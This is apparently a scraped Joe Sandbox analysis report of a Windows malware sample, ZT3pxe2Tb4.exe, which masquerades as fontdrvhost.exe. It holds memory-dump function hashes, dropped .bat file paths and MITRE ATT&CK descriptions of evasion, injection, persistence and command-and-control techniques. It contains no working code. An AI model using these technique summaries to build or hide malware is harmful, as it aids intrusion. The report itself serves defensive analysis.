Opcode Fuzzy Hash: d67b2f1eeaf81dbd705663f8a2f0bdbe20858f4ddb986e08e0dd165ffe405ef0
Instruction Fuzzy Hash: FBF0A43194F2CA9FD712DBB488224E93FA0BF03208B0901F6D055CB0E2D63D5606C761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C10F48C Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C10A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C10A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c10a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18c755660ea09ef0892844bb1c6037b26f14b3ee581cd8b78485d905c358487
Instruction ID: 5829b0c6f13e69b3d28cc00d5e299941299675fab4b0d66583e8884a12340a85
Opcode Fuzzy Hash: b18c755660ea09ef0892844bb1c6037b26f14b3ee581cd8b78485d905c358487
Instruction Fuzzy Hash: 1F017274909A1D8FDFA8DF58D8A4BA8B7B1FB68300F1041AED44EE3250CB715A85CF04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBDADBE Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7292212fd550abeec741d867532985dd15d728077d31692773424573d65185e1
Instruction ID: 41d02f3500dea65440f92f4aa81da53152d88d65afd72887c114ef33f7b9d644
Opcode Fuzzy Hash: 7292212fd550abeec741d867532985dd15d728077d31692773424573d65185e1
Instruction Fuzzy Hash: 4001FB70A0980DCFDF98DB88D4A1AACB7B1FF98305F110169D50EE32A0CA34AD02CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCA982 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cbc8c7b55717a26adf22884b5ea2563ac18986b6049f465fe127262cf9cdf0c
Instruction ID: 7ec9e5772e26dd545458c72f168cfa198fb450a080a19a00a784d2e234471260
Opcode Fuzzy Hash: 8cbc8c7b55717a26adf22884b5ea2563ac18986b6049f465fe127262cf9cdf0c
Instruction Fuzzy Hash: F3F0623554E38E9FD722EBF488625A57FB0FF42218B1600FAD099870A2D9AC5646C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DE8A2 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2089d86798772d0e0f5767dd311eb3f84676864da10ed3f98afc13d6316ee674
Instruction ID: bfa1bc8a08255df0a37c7a86c0ec159f235f294442a6ce2c8a3f78df9ee3ac2c
Opcode Fuzzy Hash: 2089d86798772d0e0f5767dd311eb3f84676864da10ed3f98afc13d6316ee674
Instruction Fuzzy Hash: A1F0623144E3C69FD3229BB088654957FB4AF43284F1901F6F45DCB0A2D66D1646D761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C111EB7 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C10A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C10A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c10a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f08ce8a8fd46b3462380c584dc401a9a2c0727f84cd5fbc316262311f53f0de4
Instruction ID: d1cb18c7bfaf58c2a95627cb9abf62602da7a09a50fe35ed8b289f583022ca54
Opcode Fuzzy Hash: f08ce8a8fd46b3462380c584dc401a9a2c0727f84cd5fbc316262311f53f0de4
Instruction Fuzzy Hash: 76011D71A0890E8FDFA8EF58C4A1EA8B7B1FB58700F6401A9940DD3296DE256941CF00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC5658 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abbbbd1c44672962c78255b410a3d530738a6c9766e757aa353e1819b82e20c2
Instruction ID: b78f4452f20f061a0b743dfd5256cc45285fb5bbbb6214770694d4b3d7263982
Opcode Fuzzy Hash: abbbbd1c44672962c78255b410a3d530738a6c9766e757aa353e1819b82e20c2
Instruction Fuzzy Hash: E8F05E21F1F80BCEE735BAE8D5331B93254BF51349F26163AC40E825E5CE29A601C295

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DA8D8 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9d7b7b7baa67fdd210bdb5c7512846ce152402782fcb838d1f046aa0e69d409
Instruction ID: c10d3388a45b98018428266fa56fb31dc0096f0404ee98fa04c0c4129ece5757
Opcode Fuzzy Hash: c9d7b7b7baa67fdd210bdb5c7512846ce152402782fcb838d1f046aa0e69d409
Instruction Fuzzy Hash: F9F09A21F0D703CAE6342A9491211B93668BF41390F20477AF80E82081EB2A2A82B391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC4B6A Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d3c43d05e10b216f57c7ffd73ed9dd5d7b58d1f7a12ed5e1f957604a64a504a
Instruction ID: fbdc098c093c6c81b4d40d070a47791cb398cbf6a4947038b1bc9ba9dd441524
Opcode Fuzzy Hash: 9d3c43d05e10b216f57c7ffd73ed9dd5d7b58d1f7a12ed5e1f957604a64a504a
Instruction Fuzzy Hash: AAF09611A0E7C64FEB32EBA88CA11A83FA0AF2731470906FEC4548B1E7D5586605C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C11565D Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C10A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C10A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c10a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f5241f0d7e51fb3ecd75855d64fb9e39ef5d93b20e88e902c9cf85c24e615d1
Instruction ID: ca99b66d64564c186efca5de8617d5b291bd107424d5b54fc7465146d7602a85
Opcode Fuzzy Hash: 9f5241f0d7e51fb3ecd75855d64fb9e39ef5d93b20e88e902c9cf85c24e615d1
Instruction Fuzzy Hash: 8BF0C970A1452D8EDBA8DB18D8A9BA9B7B1FF58340F4001EAD00EE3291CB345EC0CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA114B9 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2132802424.00007FFD9BA0B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA0B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba0b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfa1dcafff2f0d16f4cf50fd4296eb32325cf09fc6c0d0a9c7ea0180b71b0917
Instruction ID: 352ac8a934bd9d02af0bb508dd79e451c0675f4b33717d597a66cac542b4e253
Opcode Fuzzy Hash: cfa1dcafff2f0d16f4cf50fd4296eb32325cf09fc6c0d0a9c7ea0180b71b0917
Instruction Fuzzy Hash: 51F01274D0E21D8EEBB0DBF984542FCBAF4AF15301F311579D04A972A3D67896448F00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA159FB Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2132802424.00007FFD9BA0B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA0B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba0b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c94ff077919e1b6ca1bc7d07f6fe32b3757a01b756d23c7a8e0ccbd91490d8b
Instruction ID: a69b7a7db8d0877be3205c32334022684f9c925a68bba4ce29df7df31c520321
Opcode Fuzzy Hash: 2c94ff077919e1b6ca1bc7d07f6fe32b3757a01b756d23c7a8e0ccbd91490d8b
Instruction Fuzzy Hash: CCE06571F1D60D4FEBA4DB98C8756E973A1FF49390F0100B5D44D862A3CD7829418F50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D7635 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25412e8a99d30e0f632988ef88b82f8f3fa1083cd54197db5ade967f506e7e87
Instruction ID: b3f9949a69987fb322e98eb811675a2b2da37d9da5e26a438a6d1b20371dbafe
Opcode Fuzzy Hash: 25412e8a99d30e0f632988ef88b82f8f3fa1083cd54197db5ade967f506e7e87
Instruction Fuzzy Hash: 2CE09A3181D38A8BD7619B6888B64EC7B30AF00340F5802EAF90C46186FB246618A642

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA10A34 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2132802424.00007FFD9BA0B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA0B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba0b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2bdc7dbd27650ee1cb098e98e88ec44e539eed319958bf6e2aafd089001f027
Instruction ID: 45512acd38665a31914aaa32d5c6eb330fd2749c4250cbe7ab6938b015ac4044
Opcode Fuzzy Hash: b2bdc7dbd27650ee1cb098e98e88ec44e539eed319958bf6e2aafd089001f027
Instruction Fuzzy Hash: A4E08631E2D51E5BEB64EB94C4A1AFD7BF1EF58700F000074E459D2296CE241801CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCB677 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5715c2bb83859ccf609475ee23f2adf93acf642489715001ddcf8cd6ee0eaf4
Instruction ID: d705ea9a103927849f41223eb74383ffa2cd7f26ea0a092ab1b4304c58a687c9
Opcode Fuzzy Hash: d5715c2bb83859ccf609475ee23f2adf93acf642489715001ddcf8cd6ee0eaf4
Instruction Fuzzy Hash: F1E0CD51F0E28E4FEB3259BC087507C7A50BF073497060476C0468A2E3D6187A00D351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCC14B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77e666d87c23b052df9773a38144d315bb66978496623f7bf458dcce7a6f9f46
Instruction ID: 281c90b4a568db165a2925b648c372f3f78b7318e637d21b944aeac82b3c1034
Opcode Fuzzy Hash: 77e666d87c23b052df9773a38144d315bb66978496623f7bf458dcce7a6f9f46
Instruction Fuzzy Hash: 36D0C914B0F64F85F579F68BD17123E11A0BF61B08E22203DC0AF419E1CD2C7B01E282

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0E007B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61a40d3cf6e15dab64fccae4e4d47597c5b5d6015f0e832f2ad277dff738981f
Instruction ID: 772f2b5b4db609da05f7a654c7c1a6d3301722f322ec350f3c66d27d05a4f289
Opcode Fuzzy Hash: 61a40d3cf6e15dab64fccae4e4d47597c5b5d6015f0e832f2ad277dff738981f
Instruction Fuzzy Hash: B0D0C924B8D64385F57946D1403033911B19F807C8FE0803ED19F438C2CF1D78617211

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DF5B1 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96b7144aeae261a5894ba86647e5001a32520c02589473d02b30324ea2e3f6f3
Instruction ID: 03dbe830a12e1d898b17f23f5777703c4d3227fe0e73645de604c81dcf5d2878
Opcode Fuzzy Hash: 96b7144aeae261a5894ba86647e5001a32520c02589473d02b30324ea2e3f6f3
Instruction Fuzzy Hash: 96B00205F5C30356F53454E4086517D01A14B45685E544735B61F852C6FE58294132A1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D9E21 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbf784f9980aa1569ffb50952dab95f624257e657ee0d49720e34f175724abea
Instruction ID: a35864ff57ff0fc3e3782652ba253b545fd163d09b02942f43a2b14c69919d49
Opcode Fuzzy Hash: fbf784f9980aa1569ffb50952dab95f624257e657ee0d49720e34f175724abea
Instruction Fuzzy Hash: 84B00940F1C32396E63411F858A917D14A62B492C6EA41B75BA0F8A2D2FE992940B6A9

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZT3pxe2Tb4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\5b884080fd4f94

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ZT3pxe2Tb4.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fontdrvhost.exe.log

C:\Users\user\AppData\Local\Temp\3IMqqsTTOd.bat

C:\Users\user\AppData\Local\Temp\6WkFIbRMFr.bat

C:\Users\user\AppData\Local\Temp\7nxekELsf0.bat

C:\Users\user\AppData\Local\Temp\9a5gxuAtmR

C:\Users\user\AppData\Local\Temp\Gu3WPocxsu.bat

C:\Users\user\AppData\Local\Temp\HB2xslwwvT

C:\Users\user\AppData\Local\Temp\Haf5RcGt9x

C:\Users\user\AppData\Local\Temp\I3W1TCNLwG.bat

Windows Analysis Report
ZT3pxe2Tb4.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre